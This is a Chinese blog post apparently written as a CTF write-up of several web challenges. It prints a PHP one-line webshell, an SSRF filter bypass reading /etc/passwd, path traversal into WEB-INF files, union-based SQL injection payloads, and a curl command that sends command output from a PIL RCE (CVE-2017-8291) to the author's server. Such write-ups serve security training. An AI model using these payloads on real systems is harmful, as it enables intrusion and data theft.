前言
这里我特么不得不吐槽一波XDCTF,20号才特么告诉我,某大期间不准线下赛???搞得我安恒也没去(为什么安恒可以线下赛???)血亏啊血亏啊!!!!!
绑定host
一开始以为是改hosts文件,后来发现抓包改HOST头即可:1
2
3
4
5
6
7
8
9GET /index.php HTTP/1.1
Host: www.mooctest.net
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Connection: close
然后得到flag:
flag{f69af29f4e9c42c7c65c503f8f13dca7}
babyupload
题目链接:http://114.55.36.69:46012/
进入题目猜测upload.php,果然存在
回显:error:请选择上传文件
爆破后只得到flag.php和upload.php两个页面,于是想到自己写一个上传页面:1
2
3
4<form action="http://114.55.36.69:46012/upload.php" method="POST" enctype="multipart/form-data">
<input type="file" name="upfile" />
<input type="submit" />
</form>
随便上传一个测试:upload success to uploadaaaaaaaa/psb (7).jpg
(一开始测试了好多,file,filename,uploadfile。。。)
最后终于猜对变量名是upfile……fuck
然后发现是一个随便上传的题……
于是写了个小马:1
2
3
@eval($_POST['sky']);
菜刀连,在/var/www/html/flag.php读到flag:$flag = "flag{a95c530a7af5f492a74499e70578d150}";
curl
这题怎么不叫babycurl了(滑稽笑)
题目链接:http://114.55.36.69:46013/index.php?url=http://www.mooctest.net/
发现是一个php写的curl
随手测试:http://114.55.36.69:46013/index.php?url=http://skysec.top/
正常回显到我的博客,随手想到ssrf
于是用file协议读一波http://114.55.36.69:46013/index.php?url=file:///etc/passwd
回显:1
hacker go away!
看来file协议被过滤,但是看看题目,说老套路,新waf,于是想能不能绕过呢?
随手试了一下大写的……竟然过了http://114.55.36.69:46013/index.php?url=File:///etc/passwd
mmp哦!然后直接读源码view-source:http://114.55.36.69:46013/index.php?url=File:///var/www/html/index.php
1
2
3
4
5
6
7
8
9
10
11
$url = $_GET['url'];
if (preg_match("/file:[^\w]+/", $url)) exit("hacker go away!");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
$flag = "flag{78e6221f6393d1356681db398f14ce6d}";
print_r($output);
得到flag,这特么也叫新waf,嘤嘤嘤……
war
直接看源码,得到1
2
3![](test.jpg">
<!--真心不会前端,见谅见谅-->
<!--flag就在这个页面,怎么找到源码呢 tips:tomcat部署-->
tomcat的部署,于是百度,得到有.war结尾的源码压缩包,于是尝试trick-or-treat.war成功下载……
解压后得到Flag:1
2
3
4
5
6
7<%@ page contentType="text/html;charset=UTF-8" language="java" pageEncoding="UTF-8" %>
![](test.jpg">
<!--真心不会前端,见谅见谅-->
<!--flag就在这个页面,怎么找到源码呢 tips:tomcat部署-->
<%
final String flag = "flag{27118326006d3829667a400ad23d5d98}";
%>
readme2
java的读文件http://114.55.36.69:46015/test/show.do?page=WEB-INF/web.xml
回显:1
index.jsp ConfigPropertie /WEB-INF/properties/configInfo.properties Index com.cn.dbapp.Index Index /show.do 500 /index.jsp 404 /index.jsp
再读http://114.55.36.69:46015/test/show.do?page=WEB-INF/properties/configInfo.properties
回显:1
#Key key="/WEB-INF/getkey.jsp"
继续读http://114.55.36.69:46015/test/show.do?page=WEB-INF/getkey.jsp
即可得到Flag:1
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%our.print("flag{d6pe2e4jbfci7d6e0ded80ba8r7d6dfd}"); %>
source ip
题目:1
找到目标网站www.mooctest.net的源ip
网站用了cdn
科普cdn:
CDN的基本原理是广泛采用各种缓存服务器,将这些缓存服务器分布到用户访问相对集中的地区或网络中,在用户访问网站时,利用全局负载技术将用户的访问指向距离最近的工作正常的缓存服务器上,由缓存服务器直接响应用户请求。
所以直接去获取Ip就很难
但是网站提供了邮件找回密码的功能,于是乎让他给我发邮件……
然后按照https://jingyan.baidu.com/article/17bd8e522abb8085ab2bb8b2.html
的教程,即可得到他的ip1
2Received: from iZ2321y531vZ (unknown [114.55.91.83])
by trigger.edmcn.cn (Postfix) with ESMTPA id 96C3EE109D
hackedsite
一道有毒的题,拼的就是字典
疯狂拿字典扫:
得到upload目录,再疯狂拿字典扫:
得到phpspy.php
然后去百度搜索phpspy.php这个文件
发现是个专门写的后门,默认密码是angel
随手尝试了一下,还真的是。。。。。
然后登进去看到flag.php,于是乎读到flag:1
2
$flag = "flag{6bde96163d1f8fa1bfa7947dc5822558}";
babysql3
题目链接:http://114.55.91.27:46018/
拿到后分析题目:keyname=1&name=id
前面一个参数是关键词,后面一个是字段名select * from table where $name = $keyname;
所以我打算直接在$name
这里注入了,试了一会儿全都gg了
然后想既然又是babysql,会不会又有tickback(md的tickback反引号不能写……一写就gg,我就直接写tickback了)
(可能我比较菜,转义失败了,于是就模仿雨牛了……直接用tickback写了)
故猜测源码应该这么写:
select * from table where (tickback)$name(tickback) = $keyname;
然后再尝试注入:
keyname=1&name=id(tickback)=0 union select 1,2,3—
即可得到回显:1
2
3<i></i> 1 </td>
<td>2</td>
<td>3</td>
再尝试表
keyname=1&name=id(tickback)=0 union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),3—1
2
3<i></i> 1 </td>
<td>flag</td>
<td>3</td>
再尝试爆字段
keyname=1&name=id(tickback)=0 union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=’flag’ limit 0,1),3—1
2
3<i></i> 1 </td>
<td>flag</td>
<td>3</td>
然后直接读数据
keyname=1&name=id(tickback)=0 union select 1,(select flag from flag),3—1
2
3<i></i> 1 </td>
<td>flag{b3a46a02139c062f50f0a5c284edc4da}</td>
<td>3</td>
即可拿到flag
python PIL RCE
谷歌一波,搜到了CVE:GhostButt CVE-2017-8291
然后使用了P牛的POC:https://github.com/vulhub/vulhub/blob/master/python/PIL-CVE-2017-8291/poc.png
阅读readme:1
比如poc.png,我们上传之,即可执行touch /tmp/aaaaa。将POC中的命令改为反弹命令,即可获得shell:
所以将其中的指令改为反弹shell,但是很遗憾,反弹失败。
然后执念于心大佬给了我一个payload:curl 你的vps/你的接受文件?a=(tickback)ls(tickback)
然后可以把对方服务器上ls执行的结果返回回来
于是乎:1
2
3cd /var/www&&ls
回显Flask,于是找到了flag的位置
cat /var/www/Flask/flag |base64
成功拿到flag的base64,解码即可得到flag:flag{ec72feaeac7c5dd13e0e5104ad2e9705}